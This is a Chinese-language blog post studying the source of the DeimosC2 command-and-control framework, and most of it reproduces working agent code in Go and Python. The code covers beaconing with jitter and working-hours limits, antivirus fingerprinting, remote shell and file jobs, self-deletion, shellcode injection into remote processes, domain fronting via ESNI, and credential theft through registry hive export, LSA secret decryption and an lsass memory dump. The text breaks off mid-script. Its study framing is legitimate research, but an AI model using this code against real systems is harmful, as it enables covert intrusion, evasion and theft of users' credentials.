deimos-C2代码学习
简介
DeimosC2 命令与控制(C2)工具,它利用多种通信方法来控制受到威胁的计算机。 DeimosC2服务器和代理可在Windows,Darwin和Linux上运行并经过测试。
使用
导航图
添加监听器
https域名隐藏,可以指定域前置地址
点击生成agent后过一段时间会生成各种平台的木马
自带gobfuscate混淆
上线后
管理被控端
旁边还有一跳一跳的心跳监控端(看起来很直观 - =)
执行命令
可以多人协作,评论
agent启动过程
可以把”被控端”称作agent,这是agent启动过程的函数。
func main() {
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
aesKey, _ = base64.StdEncoding.DecodeString(stringPubKey)
// 获取aesKey
for {
agentfunctions.CheckTime(liveHours))
// 检查是否在指定时间内运行,如果不是会一直sleep到那个时间
if key == "" {
connect("getKey", "")
go connect("init", "")
// 初始化获取系统信息
} else {
go connect("check_in", "")
// 执行指令
}
agentfunctions.SleepDelay(delay, jitter)
// 抖动延时
agentfunctions.ShouldIDie(eol)
// 判断是否销毁
}
}
第一次启动agent
获取数据的数据结构
//FirstTime Struct
type initialize struct {
Key string //Agent Key
OS string //Current OS
OSType string //Type of Operating System and/or Distro
OSVers string //Version of OS
AV []string //AntiVirus Running
Hostname string //Current Machine Name
Username string //Current Username
LocalIP string //Local IP
AgentPath string //Agent Path
Shellz []string //Available System Shells
Pid int //Get PID of agent
IsAdmin bool //Is admin user
IsElevated bool //Is elevated on Windows
ListenerKey string //Listener that the agent is attached too
}
相关函数
//Shell types
const (
powerShell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
cmd = "C:\\Windows\\System32\\cmd.exe"
zsh = "/bin/zsh"
sh = "/bin/sh"
bash = "/bin/bash"
)
//FirstTime is used to initalize an agent
func FirstTime(key string) []byte {
//Get the current executable path
agent, err := os.Executable()
if err != nil {
ErrHandling(err.Error())
}
//Get current user information
user, err := user.Current()
if err != nil {
ErrHandling(err.Error())
}
//Get current hostname
hostname, err := os.Hostname()
if err != nil {
ErrHandling(err.Error())
}
//Get local ip
addr, err := net.InterfaceAddrs()
if err != nil {
ErrHandling(err.Error())
}
var ip string
for _, a := range addr {
if ipnet, ok := a.(*net.IPNet); ok &&
!ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() {
if ipnet.IP.To4() != nil {
ip = ipnet.IP.String()
}
}
}
//Get available shellz
var shellz []string
if runtime.GOOS == "windows" {
_, err := os.Stat(powerShell)
if err != nil {
ErrHandling(err.Error())
} else {
shellz = append(shellz, powerShell)
}
_, err = os.Stat(cmd)
if err != nil {
ErrHandling(err.Error())
} else {
shellz = append(shellz, cmd)
}
} else if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
_, err := os.Stat(bash)
if err != nil {
ErrHandling(err.Error())
} else {
shellz = append(shellz, bash)
}
_, err = os.Stat(zsh)
if err != nil {
ErrHandling(err.Error())
} else {
shellz = append(shellz, zsh)
}
_, err = os.Stat(sh)
if err != nil {
ErrHandling(err.Error())
} else {
shellz = append(shellz, sh)
}
}
admin, elevated := privileges.AdminOrElevated()
osType, osVers, av := fingerprint.FingerPrint()
//Place all that information into a JSON object
systemInfo := initialize{key, runtime.GOOS, osType, osVers, av, hostname, user.Username, ip, agent, shellz, os.Getpid(), admin, elevated, ""}
msg, err := json.Marshal(systemInfo)
if err != nil {
ErrHandling(err.Error())
}
cwd, _ = os.Getwd()
return msg
}
//SleepDelay sleeps between each loop of the agent with a jitter % to make it less patterned
func SleepDelay(delay float64, jitter float64) {
minSleep := delay - (delay * jitter)
maxSleep := delay + (delay * jitter)
if minSleep < 3 {
minSleep = 2
maxSleep += 2
}
time.Sleep(time.Duration(r.Intn(int((maxSleep-minSleep))+int(minSleep))) * time.Second)
}
检查时间在指定范围
var liveHours = "05:00-21:00" //该时间可以运行,格式:05:00-21:00
//CheckTime查看当前时间是否在允许的时间之间,如果直到当前时间不休眠
func CheckTime(liveHours string) {
if liveHours != "" {
allowedTime := strings.Split(liveHours, "-")
startTime := strings.Split(allowedTime[0], ":")
endTime := strings.Split(allowedTime[1], ":")
current := time.Now()
startHour, _ := strconv.Atoi(startTime[0])
startMin, _ := strconv.Atoi(startTime[1])
endHour, _ := strconv.Atoi(endTime[0])
endMin, _ := strconv.Atoi(endTime[1])
start := time.Date(current.Year(), current.Month(), current.Day(), startHour, startMin, current.Second(), current.Nanosecond(), current.Location())
end := time.Date(current.Year(), current.Month(), current.Day(), endHour, endMin, current.Second(), current.Nanosecond(), current.Location())
if current.After(start) && current.Before(end) {
// 判断 start>current && current < end 则上线,return就行
return
} else {
time.Sleep(start.Sub(current))
// 取时间差 start - current,睡眠
return
}
}
}
传递指令
指令格式
//AgentJob is the standard struct for all jobs
type AgentJob struct {
AgentKey string //Key of the agent to create the job for
JobType string //Type of job
Arguments []string //Job arguments adhering to the above formats
}
根据这个格式来执行命令
func jobExecute(j []agentfunctions.AgentJob) {
for _, value := range j {
switch value.JobType {
case "shell":
go agentfunctions.Shell(value.Arguments, false)
case "download":
go agentfunctions.Download(value.Arguments[0])
case "upload":
go agentfunctions.Upload(value.Arguments[0], value.Arguments[1], value.Arguments[2])
case "fileBrowser":
go agentfunctions.AgentFileBrowsers(value.Arguments[0])
case "options":
go options(value.Arguments[0], value.Arguments[1])
case "shellInject":
go shellinject.ShellInject(value.Arguments[0], value.Arguments[1])
case "module":
go execMod(value.Arguments[0], value.Arguments[1], value.Arguments[2])
case "reinit":
go connect("init", "")
case "kill":
agentfunctions.Kill()
connect("check_in", "")
selfdestruction.SelfDelete()
os.Exit(0)
}
}
}
agent传输协议
deimos支持的协议 Supported Agents
- TCP
- HTTPS
- DoH (DNS over HTTPS)
- agent通过访问
https://dns.google.com/resolve?name=xxx.com&type={type}&cd=fales
来获取数据
- agent通过访问
- QUIC
- Pivot over TCP
域名隐藏
其中自带一个域名隐藏
的方案,利用cloudflare.com
,相关原理参考SixGenInc/Noctilucent: Using TLS 1.3 to evade censors, bypass network defenses, and blend in with the noise (github.com)
// 解析 cloudflare ensi
esniKeysBytes, err := QueryESNIKeysForHostDoH("cloudflare.com", true)
if err != nil {
fmt.Println("[E] Failed to retrieve ESNI keys for host via DoH: %s", err)
}
esnikeys, err := tls.ParseESNIKeys(esniKeysBytes)
if err != nil {
fmt.Println("[E] Failed to parse ESNI keys: %s", err)
}
// 设置我们访问时的tls设置
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
ClientESNIKeys: esnikeys,
MinVersion: tls.VersionTLS13, // Force TLS 1.3
MaxVersion: tls.VersionTLS13,
ESNIServerName: actualDomain,
PreserveSNI: true,
ServerName: frontDomain
}
httpClient = &http.Client{
Transport: &http.Transport{
DialTLS: func(network, addr string) (net.Conn, error) {
conn, err = tls.Dial("tcp", host+":"+port, tlsConfig)
return conn, err
},
},
}
// 发送请求
r, err := httpClient.Post(("https://" + actualDomain + ":" + port + URL), "application/json", bytes.NewBuffer(someJSON))
真实地址放到sni上,伪造的地址放到esni server上。实际访问这个伪造的地址就可以了。
这个方法已经被cloudflare修复了,不再允许ensi
和sni
同时使用,同时国内也禁用ensi
。但如果有其他cdn厂商支持这个的话也可以。
函数记录
记录一些可能会有用的函数
isadmin
判断是否是管理员账户,以及是否提升
isadmin_linux.go
//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {
user, err := user.Current()
if err != nil {
panic(err)
}
userID := user.Uid
if userID == "0" {
admin = true
} else {
admin = false
}
elevated = false
return elevated, admin
}
isadmin_macos.go
//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {
user, err := user.Current()
if err != nil {
panic(err)
}
userID := user.Uid
if userID == "0" {
admin = true
} else {
admin = false
}
elevated = false
return elevated, admin
}
isadmin_windows.go
// +build windows
package privileges
import (
"golang.org/x/sys/windows"
)
//Code concept from https://github.com/BishopFox/sliver/blob/8b617232a64c68fbe256bf2d394d6ee886ce43af/sliver/priv/priv_windows.go#L50
//SePrivEnable will check to see if the process has SeDebugMode set or elevate it if not
func SePrivEnable() {
var tokenHandle windows.Token
prcHandle, err := windows.GetCurrentProcess()
if err != nil {
//logging.Logger.Println(err)
}
windows.OpenProcessToken(
prcHandle, // HANDLE Process Handle
windows.TOKEN_ADJUST_PRIVILEGES, // DWORD Desired Access
&tokenHandle, // PHANDLE TokenHandle
)
/*
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;
*/
var luid windows.LUID // Describes a local identifier for an adapter struct above
/*
BOOL LookupPrivilegeValueW(
LPCWSTR lpSystemName,
LPCWSTR lpName,
PLUID lpLuid
);
*/
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr("SeDebugPrivilege"), &luid)
if err != nil {
//logging.Logger.Println("LookupPrivilegeValueW Failed: ", err)
}
privilege := windows.Tokenprivileges{}
privilege.PrivilegeCount = 1
privilege.Privileges[0].Luid = luid
privilege.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
/*
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);
*/
err = windows.AdjustTokenPrivileges(tokenHandle, false, &privilege, 0, nil, nil)
if err != nil {
//logging.Logger.Println("AdjustTokenPrivileges Failed: ", err)
}
}
//Original code from https://coolaj86.com/articles/golang-and-windows-and-admins-oh-my/
//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
//logging.Logger.Println("SID Error: %s", err)
}
token := windows.GetCurrentProcessToken()
member, err := token.IsMember(sid)
if err != nil {
//logging.Logger.Println("Token Membership Error: %s", err)
}
if token.IsElevated() == true {
elevated = true
} else {
elevated = false
}
if member == true {
admin = true
} else {
admin = false
}
return elevated, admin
}
shellcode注入
shellcode_linux.go
import (
"encoding/hex"
"runtime"
"syscall"
"unsafe"
)
//GOT FROM SLIVER SO WE NEED TO CHANGE AND MAKE OUR OWN
func getPage(p uintptr) []byte {
return (*(*[0xFFFFFF]byte)(unsafe.Pointer(p & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()]
}
//ShellInject for Linux
func ShellInject(data string, process string) {
sc, _ := hex.DecodeString(data)
//logging.Logger.Println("shellcode is :", sc)
//logging.Logger.Println("Process is :", process)
//GOT FROM SLIVER SO WE NEED TO CHANGE AND MAKE OUR OWN
dataAddr := uintptr(unsafe.Pointer(&sc[0]))
page := getPage(dataAddr)
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
dataPtr := unsafe.Pointer(&sc)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
}
shellcode_windows.go
import (
"encoding/hex"
"strconv"
"syscall"
"unsafe"
)
//ShellInject for Windows
//The data variable must be in a hex format
func ShellInject(data string, process string) {
//logging.Logger.Println("start inject")
//logging.Logger.Println(data[0:10])
sc, _ := hex.DecodeString(data)
//sc := data
//logging.Logger.Println("Made it to ShellInject")
//logging.Logger.Println(sc[0:10])
//logging.Logger.Println(len(sc))
//If a PID was passed then execute the shellcode into that
if process != "" {
proc, _ := strconv.ParseUint(process, 10, 32)
pid := uint32(proc)
kernel32 := syscall.NewLazyDLL("kernel32.dll")
ntdll := syscall.NewLazyDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CloseHandle := kernel32.NewProc("CloseHandle")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
pHandle, _ := syscall.OpenProcess(0x0002|0x0008|0x0020|0x0400|0x0010, false, pid)
addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
_, _, _ = WriteProcessMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
_, _, _ = VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), 0x10)
var tHandle uintptr
_, _, _ = RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
_, _, _ = WaitForSingleObject.Call(tHandle, syscall.INFINITE)
_, _, _ = CloseHandle.Call(uintptr(pHandle))
//This is just basic process injection on a new binary
} else {
const MEM_COMMIT = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_EXECUTE_READWRITE = 0x40
const PROCESS_CREATE_THREAD = 0x0002
const PROCESS_QUERY_INFORMATION = 0x0400
const PROCESS_VM_OPERATION = 0x0008
const PROCESS_VM_WRITE = 0x0020
const PROCESS_VM_READ = 0x0010
const CREATE_SUSPENDED = 0x00000004
var K32 = syscall.MustLoadDLL("kernel32.dll")
var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
var VirtualAllocEx = K32.MustFindProc("VirtualAllocEx")
var CreateRemoteThread = K32.MustFindProc("CreateRemoteThread")
var WriteProcessMemory = K32.MustFindProc("WriteProcessMemory")
var OpenProcess = K32.MustFindProc("OpenProcess")
//logging.Logger.Println("Creating a new Process")
//Process to create
arg := syscall.StringToUTF16Ptr("c:\\windows\\system32\\svchost.exe")
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
//Create it paused
// BOOL CreateProcessA(
// LPCSTR lpApplicationName,
// LPSTR lpCommandLine,
// LPSECURITY_ATTRIBUTES lpProcessAttributes,
// LPSECURITY_ATTRIBUTES lpThreadAttributes,
// BOOL bInheritHandles,
// DWORD dwCreationFlags,
// LPVOID lpEnvironment,
// LPCSTR lpCurrentDirectory,
// LPSTARTUPINFOA lpStartupInfo,
// LPPROCESS_INFORMATION lpProcessInformation
// );
err := syscall.CreateProcess(nil, arg, nil, nil, true, CREATE_SUSPENDED, nil, nil, &sI, &pI)
if err != nil {
//logging.Logger.Println("Cannot create the process")
return
}
//logging.Logger.Println("Created.. Injecting")
Shellcode := sc
L_Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
//TODO FIGURE OUT HOW TO GET RID OF THIS
L_AddrPtr := (*[99000000]byte)(unsafe.Pointer(L_Addr))
for i := 0; i < len(Shellcode); i++ {
L_AddrPtr[i] = Shellcode[i]
}
var F int = 0
Proc, _, _ := OpenProcess.Call(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, uintptr(F), uintptr(pI.ProcessId))
if Proc == 0 {
//logging.Logger.Println("[!] ERROR : Can't Open Remote Process.")
return
}
R_Addr, _, _ := VirtualAllocEx.Call(Proc, uintptr(F), uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if R_Addr == 0 {
//logging.Logger.Println("[!] ERROR : Can't Allocate Memory On Remote Process.")
return
}
WPMS, _, _ := WriteProcessMemory.Call(Proc, R_Addr, L_Addr, uintptr(len(Shellcode)), uintptr(F))
if WPMS == 0 {
//logging.Logger.Println("[!] ERROR : Can't Write To Remote Process.")
return
}
//logging.Logger.Println(R_Addr)
CRTS, _, _ := CreateRemoteThread.Call(Proc, uintptr(F), 0, R_Addr, uintptr(F), 0, uintptr(F))
if CRTS == 0 {
//logging.Logger.Println("[!] ERROR : Can't Create Remote Thread.")
return
}
return
}
}
shell执行
exec_both.go
import "os/exec"
//ShellExecute will execute the commands passed and return the byte result
func ShellExecute(data []string, cwd string) []byte {
cmd := exec.Command(data[0], data[1:]...)
cmd.Dir = cwd
result, err := cmd.Output()
if err != nil {
return []byte(err.Error())
}
return result
}
exec_windows.go
import (
"os/exec"
"syscall"
)
//ShellExecute will execute the commands passed and return the byte result
func ShellExecute(data []string, cwd string) []byte {
cmd := exec.Command(data[0], data[1:]...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Dir = cwd
result, err := cmd.Output()
if err != nil {
return []byte(err.Error())
}
return result
}
自删除
kill_linux.go
import (
"os"
)
//SelfDelete will delete the agent when called
func SelfDelete() {
path, _ := os.Getwd()
fullPath := path + "/" + os.Args[0]
err := os.Remove(fullPath)
if err != nil {
//logging.Logger.Println(err)
}
}
kill_macos.go
import (
"os"
)
//SelfDelete will delete the agent when called
func SelfDelete() {
path, _ := os.Getwd()
fullPath := path + "/" + os.Args[0]
err := os.Remove(fullPath)
if err != nil {
//logging.Logger.Println(err)
}
}
kill_windows.go
import (
"os"
"syscall"
)
//SelfDelete will delete the agent when called
func SelfDelete() {
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
path, _ := os.Getwd()
comspec := os.Getenv("ComSpec")
//logging.Logger.Println("Deleting agent: ", os.Args[0])
argv := syscall.StringToUTF16Ptr(comspec + " /C del " + path + "\\" + os.Args[0])
//logging.Logger.Println("Command is: ", comspec+" /C del "+path+"\\"+os.Args[0])
err := syscall.CreateProcess(nil, argv, nil, nil, true, 0, nil, nil, &sI, &pI)
if err != nil {
//logging.Logger.Println("Couldn't self destruct because: ", err.Error())
}
}
系统信息
fingerprint_linux.go
import (
"os"
"os/exec"
"strings"
)
//FingerPrint will get the version of the Operating System
func FingerPrint() (string, string, []string) {
//Setting these higher as they will be in if/else statements due to checking for android
var osType string
var osVers string
//First we need to check if the Linux system is Android or not
if _, err := os.Stat("/system/build.prop"); err == nil {
osType = "Android"
// Using getprop ro.build.version.release to get version of Android
cmd := exec.Command("getprop", "ro.build.version.release")
out, err := cmd.CombinedOutput()
if err != nil {
osVers = err.Error()
}
osVers = strings.TrimSpace(string(out))
} else if os.IsNotExist(err) {
//Getting Distro name
cmd := exec.Command("/bin/bash", "-c", "awk -F'=' '/^ID=/ {print $2}' /etc/os-release | tr -d '\"'")
outType, err := cmd.CombinedOutput()
if err != nil {
osType = err.Error()
}
osType = string(outType)
//Getting Distro Version
cmd1 := exec.Command("/bin/bash", "-c", "awk -F'=' '/^VERSION_ID=/ {print $2}' /etc/os-release | tr -d '\"'")
outVers, err := cmd1.CombinedOutput()
if err != nil {
osVers = err.Error()
}
osVers = string(outVers)
} else {
osType = "No Idea!"
osVers = "Couldn't Get!"
}
//Future check for AV on Linux
var av []string
av = append(av, "null")
return osType, osVers, av
}
返回的系统类型,系统版本,和杀毒列表
fingerprint_mac.go
//FingerPrint will get the version of the Operating System
func FingerPrint() (string, string, []string) {
var av []string
result := map[string]interface{}{}
av = append(av, "null")
pListFile, err := os.Open("/System/Library/CoreServices/SystemVersion.plist")
if err != nil {
//logging.Logger.Println(err)
}
defer pListFile.Close()
decoder := xml.NewDecoder(pListFile)
var workingKey string
for {
token, _ := decoder.Token()
if token == nil {
break
}
switch start := token.(type) {
case xml.StartElement:
switch start.Name.Local {
case "key":
var k string
err := decoder.DecodeElement(&k, &start)
if err != nil {
//logging.Logger.Println(err.Error())
}
workingKey = k
case "string":
var s string
err := decoder.DecodeElement(&s, &start)
if err != nil {
//logging.Logger.Println(err.Error())
}
result[workingKey] = s
workingKey = ""
}
}
}
return result["ProductName"].(string), result["ProductVersion"].(string), av
}
fingerprint_windows.go
import (
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows/registry"
)
//Using code from https://github.com/mitchellh/go-ps/blob/4fdf99ab29366514c69ccccddab5dc58b8d84062/process_windows.go to conduct process searching
//Removed import for obfuscation reasons
// Process is the generic interface that is implemented on every platform
// and provides common operations for processes.
type process interface {
// Pid is the process ID for this process.
Pid() int
// PPid is the parent process ID for this process.
PPid() int
// Executable name running this process. This is not a path to the
// executable.
Executable() string
}
// Windows API functions
var (
modKernel32 = syscall.NewLazyDLL("kernel32.dll")
procCloseHandle = modKernel32.NewProc("CloseHandle")
procCreateToolhelp32Snapshot = modKernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32First = modKernel32.NewProc("Process32FirstW")
procProcess32Next = modKernel32.NewProc("Process32NextW")
)
// Some constants from the Windows API
const (
ERROR_NO_MORE_FILES = 0x12
MAX_PATH = 260
)
// PROCESSENTRY32 is the Windows API structure that contains a process's
// information.
type PROCESSENTRY32 struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriorityClassBase int32
Flags uint32
ExeFile [MAX_PATH]uint16
}
// WindowsProcess is an implementation of Process for Windows.
type WindowsProcess struct {
pid int
ppid int
exe string
}
func (p *WindowsProcess) Pid() int {
return p.pid
}
func (p *WindowsProcess) PPid() int {
return p.ppid
}
func (p *WindowsProcess) Executable() string {
return p.exe
}
func newWindowsProcess(e *PROCESSENTRY32) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
func findProcess(pid int) process {
ps := processes()
for _, p := range ps {
if p.Pid() == pid {
return p
}
}
return nil
}
func processes() []process {
handle, _, _ := procCreateToolhelp32Snapshot.Call(
0x00000002,
0)
if handle < 0 {
return nil
}
defer procCloseHandle.Call(handle)
var entry PROCESSENTRY32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procProcess32First.Call(handle, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return nil
}
results := make([]process, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
ret, _, _ := procProcess32Next.Call(handle, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return results
}
//End of https://github.com/mitchellh/go-ps code
//FingerPrint will get the version of the Operating System - This case call Windows API GetVersion
func FingerPrint() (string, string, []string) {
//Get OS Vers (e.g. 7 or 10)
k, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
//logging.Logger.Println(err.Error())
}
defer k.Close()
osVers, _, err := k.GetIntegerValue("CurrentMajorVersionNumber")
if err != nil {
//logging.Logger.Println(err.Error())
}
//Get OS Type (Pro vs Enterprise)
pn, _, err := k.GetStringValue("ProductName")
if err != nil {
//logging.Logger.Println(err.Error())
}
osType := lastString(strings.Split(pn, " "))
//Get AV
//Can add to this by adding to the switch case for any other type of AV you want to find
var av []string
p := processes()
for _, p1 := range p {
switch {
case p1.Executable() == "cb.exe":
av = append(av, "CB")
case p1.Executable() == "CylanceSvc.exe":
av = append(av, "Cylance")
}
}
return osType, strconv.FormatUint(osVers, 10), av
}
func lastString(ss []string) string {
return ss[len(ss)-1]
}
屏幕截图
调用的这个库github.com/kbinani/screenshot
,支持多个操作系统的屏幕截图,下这个库的原理是底层通过c来调用每个系统的内核函数实现的。
凭证dump
lsadump
LSA是Windows系统本地安全认证的模块。它会存储用户登录其他系统和服务用户名和密码,如VPN网络连接、ADSL网络连接、FTP服务、Web服务。通过搜集这些信息,便于对服务器进行渗透测试。
需要管理员
权限,先提升到debug权限
func SePrivEnable() {
var tokenHandle windows.Token
prcHandle, err := windows.GetCurrentProcess()
if err != nil {
//logging.Logger.Println(err)
}
windows.OpenProcessToken(
prcHandle, // HANDLE Process Handle
windows.TOKEN_ADJUST_PRIVILEGES, // DWORD Desired Access
&tokenHandle, // PHANDLE TokenHandle
)
/*
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;
*/
var luid windows.LUID // Describes a local identifier for an adapter struct above
/*
BOOL LookupPrivilegeValueW(
LPCWSTR lpSystemName,
LPCWSTR lpName,
PLUID lpLuid
);
*/
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr("SeDebugPrivilege"), &luid)
if err != nil {
//logging.Logger.Println("LookupPrivilegeValueW Failed: ", err)
}
privilege := windows.Tokenprivileges{}
privilege.PrivilegeCount = 1
privilege.Privileges[0].Luid = luid
privilege.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
/*
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);
*/
err = windows.AdjustTokenPrivileges(tokenHandle, false, &privilege, 0, nil, nil)
if err != nil {
//logging.Logger.Println("AdjustTokenPrivileges Failed: ", err)
}
}
接着用注册表导出文件即可
cmdName := "cmd.exe"
sysFile := path.Join("C:", "Windows", "system")
secFile := path.Join("C:", "Windows", "security")
cmdArgs := []string{"/c", "reg.exe save HKLM\\SYSTEM " + sysFile}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()
cmdArgs2 := []string{"/c", "reg.exe save HKLM\\SECURITY " + secFile}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()
sysData, err := ioutil.ReadFile(sysFile)
if err != nil {
logging.Logger.Println(err)
}
secData, err := ioutil.ReadFile(secFile)
if err != nil {
logging.Logger.Println(err)
}
python解密
import sys
from impacket.examples.secretsdump import LocalOperations, LSASecrets
from impacket import winregistry
from binascii import hexlify, unhexlify
from six import b
import json
def main(sysF, secF):
bootkey = getBootKey(sysF)
#Borrowed Code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L848
#Changed to save LSA Secrets and cached creds to JSON format
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
lsaName, lsaHash = secret.split(':', 1)
secdict = {"LSAName": lsaName, "LSAHash": lsaHash}
jsonFormat = json.dumps(secdict)
print(jsonFormat)
add_lsa_secret.secrets = 0
LSA = LSASecrets(secF, bootkey, remoteOps=None, isRemote=False, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
# From Impacket https://github.com/SecureAuthCorp/impacket/blob/69fee03fd8c120ec7ed0b1e630f7dcc5780fa3f9/impacket/examples/secretsdump.py#L735
def getBootKey(system):
# Local Version whenever we are given the files directly
bootKey = b''
tmpKey = b''
winreg = winregistry.Registry(system, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD', 'Skew1', 'GBG', 'Data']:
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + b(digit)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
tmpKey = unhexlify(tmpKey)
for i in range(len(tmpKey)):
bootKey += tmpKey[transforms[i]:transforms[i] + 1]
return bootKey
if __name__ == "__main__":
main(sys.argv[1], sys.argv[2])
minidump
用于dump指定进程内存,一般用于dumplsass
进程(它用于本地安全和登陆策略)中存储的明文登录密码
//DllOptions is used for passed variables to DLLS
type DllOptions struct {
Options []string
}
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
var procCloseHandle = kernel32.NewProc("CloseHandle")
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
//Set process to be SeDebugPrivileges
privileges.SePrivEnable()
pid, _ := strconv.Atoi(options.Options[1])
processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))
p, err := ps.FindProcess(pid)
var dmpFile = path.Join("C:", "Windows", p.Executable())
if _, err := os.Stat(dmpFile); os.IsNotExist(err) {
os.Create(dmpFile)
}
path, _ := syscall.UTF16PtrFromString(dmpFile)
fileHandle, _, _ := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)
procCloseHandle.Call(uintptr(fileHandle))
if ret != 0 {
logging.Logger.Println("Process memory dump successful")
} else {
log.Fatal("Process memory dmp error: ", err)
}
fileData, err := ioutil.ReadFile(dmpFile)
if err != nil {
logging.Logger.Println(err)
}
dump的python脚本
# Idea and most code from Romain Bentz (pixis - @hackanddo)
# https://github.com/Hackndo/lsassy/blob/master/lsassy/modules/parser.py
# need to pip install pypykatz
from pypykatz.pypykatz import pypykatz
import sys
import json
def main(file):
#cred_dict= {'luid': [], 'creds': []}
cred_dict= []
#cred_dict = {'ssp', 'domain', 'username', 'password', 'lmhash', 'nthash'}
dmpContents = open(file, "rb")
pypyParse = pypykatz.parse_minidump_external(dmpContents)
dmpContents.close()
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
for luid in pypyParse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypyParse.logon_sessions[luid], ssp, []):
